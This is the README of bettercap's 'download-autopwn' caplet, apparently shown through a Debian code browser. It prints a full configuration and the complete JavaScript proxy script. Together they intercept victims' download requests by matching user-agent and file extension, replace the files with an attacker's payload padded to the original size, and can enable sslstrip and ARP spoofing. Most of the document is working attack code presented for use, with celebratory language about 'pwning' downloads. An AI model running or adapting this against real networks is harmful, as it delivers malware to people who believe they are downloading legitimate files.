Debian Codegraph @

download-autopwn/README.md

raw symbols ◀ ▶ SCIP
1 Debian patch touch this file
1 <p align="center"><img height="142px" src="https://cdn.rawgit.com/yungtravla/cdn/a5ec3cd7/github.com/bettercap/caplets/download-autopwn/dap.svg" /></p>
2
3
4 ### caplets/download-autopwn.cap
5
6 Everything is configurable in the **download-autopwn.cap** file.
7
8 ```sh
9 # documentation can be found at https://github.com/bettercap/caplets/blob/master/download-autopwn/README.md
10 #
11 # this module lets you intercept very specific download requests and replaces the payload with one of your choice
12 #
13 # in order for a download to get intercepted:
14 # 1. the victim's user-agent string must match the downloadautopwn.useragent.x regexp value
15 # 2. the requested file must match one of the downloadautopwn.extensions.x file extensions
16 #
17 # you can find the downloadautopwn.devices in the caplets/download-autopwn/ folder (you can add your own)
18 #
19
20 # choose the devices from which downloads get pwned (enter the dir names of choice from caplets/download-autopwn/)
21 # (or feel free to add your own)
22 set downloadautopwn.devices android,ios,linux,macos,ps4,windows,xbox
23
24 # choose the regexp value that the victim's User-Agent has to match
25 # (feel free to add your own)
26 set downloadautopwn.useragent.android Android
27 set downloadautopwn.useragent.ios iPad|iPhone|iPod
28 set downloadautopwn.useragent.linux Linux
29 set downloadautopwn.useragent.macos Intel Mac OS X 10_
30 set downloadautopwn.useragent.ps4 PlayStation 4
31 set downloadautopwn.useragent.windows Windows|WOW64
32 set downloadautopwn.useragent.xbox Xbox
33
34 # choose which file extensions get intercepted and replaced by your payload on specific devices (payloads are in caplets/download-autopwn/.../)
35 # (again, you can add as many as you want)
36 # make sure the payload files exist and that they are all named "payload" (for example: payload.exe)
37 set downloadautopwn.extensions.android apk,pdf,sh,pfx,zip
38 set downloadautopwn.extensions.ios ipa,ios,ipb,ipsw,ipsx,ipcc,mobileconfig,pdf,zip
39 set downloadautopwn.extensions.linux c,go,sh,py,rb,cr,pl,deb,pdf,jar,zip
40 set downloadautopwn.extensions.macos app,dmg,doc,docx,jar,ai,ait,psd,pdf,c,go,sh,py,rb,pl,terminal,zip
41 set downloadautopwn.extensions.ps4 disc,pup,pdf,doc,docx,zip
42 set downloadautopwn.extensions.windows exe,msi,bat,jar,dll,doc,docx,swf,psd,ai,ait,pdf,rar,zip
43 set downloadautopwn.extensions.xbox exe,msi,jar,pdf,doc,docx,zip
44
45 # choose whether the proxy module resizes your payload to the requested file's size (if not set then default=false)
46 set downloadautopwn.resizepayloads true
47
48 # set download-autopwn.js as proxy script
49 set http.proxy.script caplets/download-autopwn.js
50 # uncomment if you want sslstrip enabled
51 # set http.proxy.sslstrip true
52 # start proxy
53 http.proxy on
54
55 # wait for everything to start properly
56 sleep 1
57
58 # uncomment if you want arp spoofing (make sure probing is off as it conflicts with arp spoofing)
59 # arp.spoof on
60 ```
61
62 <br>
63
64 The `downloadautopwn.devices` variable accepts comma separated values.
65 <br>
66 These values are the folder names inside the **caplets/download-autopwn/** directory.
67
68 <br>
69
70 The `downloadautopwn.useragent.x` variables accept a regular expression value (where `x` is the device name).
71 <br>
72 The victim's User-Agent string has to match this regex value.
73
74 <br>
75
76 The `downloadautopwn.extensions.x` variables accept comma separated file extensions that are present in the device's folder (where `x` is the device name).
77 <br>
78 These files must be present in the device's folder, and they must be called `payload` (for example: `payload.exe`).
79
80 <br>
81
82 The `downloadautopwn.resizepayloads` variable accepts a boolean value (default=false).
83 <br>
84 If this value is set to true, your payloads will be resized to match the requested file's size (unless your payload is bigger or equal to the requested file's size).
85
86 <br>
87
88 ### caplets/download-autopwn.js
89
90 No changes should have to be made in the **download-autopwn.js** file.
91
92 ```javascript
93 var targets = {}
94
95 var nullbyte = "\u0000"
96
97 var green = "\033[32m",
98 boldRed = "\033[1;31m",
99 onRed = "\033[41m",
100 reset = "\033[0m",
101 redLine = "\n " + onRed + " " + reset
102
103 function onLoad() {
104 devices = env("downloadautopwn.devices").split(",")
105 logStr = ""
106 for (var i = 0; i < devices.length; i++) {
107 item = {
108 "device": devices[i],
109 "useragent": env("downloadautopwn.useragent." + devices[i]),
110 "extensions": env("downloadautopwn.extensions." + devices[i]).toLowerCase().split(",")
111 }
112 targets[i] = item
113 logStr += "\n " + green + targets[i]["device"] + reset +
114 "\n User-Agent: " + targets[i]["useragent"] +
115 "\n Extensions: " + targets[i]["extensions"] + "\n"
116 }
117 log("Download Autopwn loaded.\n\nDownload Autopwn targets: \n" + logStr)
118 }
119
120 function onResponse(req, res) {
121 // First of all check whether the requested path might have an extension (to save cpu)
122 var requestedFileName = req.Path.replace(/.*\//g, "")
123 if ( requestedFileName.indexOf(".") != -1 ) {
124 var userAgent = req.GetHeader("User-Agent", ""),
125 extension,
126 headerCount = req.Headers.length
127 // Iterate through targets
128 for ( var t = 0; t < Object.keys(targets).length; t++ ) {
129 // Check if User-Agent is a target
130 regex = new RegExp(targets[t]["useragent"])
131 if ( userAgent.match(regex) ) {
132 // Iterate through target extensions
133 for (var e = 0; e < targets[t]["extensions"].length; e++) {
134 // Check if requested path contains a targeted extension
135 // function endsWith() could be a nice simplification here
136 if ( requestedFileName.replace(/.*\./g, "").toLowerCase() == targets[t]["extensions"][e] ) {
137 extension = targets[t]["extensions"][e]
138 // Autopwn
139 logStr = "\n" + redLine + " Autopwning download request from " + boldRed + req.Client.IP + reset +
140 redLine +
141 redLine + " Found " + boldRed + extension.toUpperCase() + reset + " extension in " + boldRed + req.Hostname + req.Path + reset +
142 redLine +
143 redLine + " Grabbing " + boldRed + targets[t]["device"].toUpperCase() + reset + " payload..."
144 // Check requested file size
145 requestedFile = res.ReadBody()
146 requestedFileSize = requestedFile.length
•147 payload = readFile("/usr/share/bettercap/caplets/download-autopwn/" + targets[t]["device"] + "/payload." + extension)
148 payloadSize = payload.length
149 logStr += redLine + " The size of the requested file is " + boldRed + requestedFileSize + reset + " bytes" +
150 redLine + " The raw size of your payload is " + boldRed + payloadSize + reset + " bytes" + redLine
151 // Append nullbytes to payload if resizing is enabled and if requested file is larger than payload
152 if ( env("downloadautopwn.resizepayloads") == "true" && requestedFileSize > payloadSize ) {
153 logStr += redLine + " Resizing your payload to " + boldRed + requestedFileSize + reset + " bytes..."
154 sizeDifference = requestedFileSize - payloadSize
155 nullbyteString = Array(sizeDifference + 1).join(nullbyte)
156 payload += nullbyteString
157 }
158 // Set Content-Disposition header to enforce file download instead of in-browser preview
159 res.SetHeader("Content-Disposition", "attachment; filename=\"" + requestedFileName + "\"")
160 // Update Content-Length header in case our payload is larger than the requested file
161 res.SetHeader("Content-Length", payload.length)
162 logStr += redLine + " Serving your payload to " + boldRed + req.Client.IP + reset + "...\n"
163 log(logStr)
164 res.Body = payload
165 }
166 }
167 }
168 }
169 }
170 }
171 ```
172
173 <br>
174
175 ### Now you're all set to pwn!
176
177 #### What it looks like when you have configured a crazy amount of payloads
178
179 ![screenshot 1](https://user-images.githubusercontent.com/29265684/37411166-e3796c46-27ed-11e8-94da-8e1c226a0dd3.png)
180
181 #### What it looks like when you pwn someone's download >:-)
182
183 ![screenshot 2](https://user-images.githubusercontent.com/29265684/37409382-f6bb143e-27e9-11e8-86c5-c1c556900556.png)
184
185 Have fun!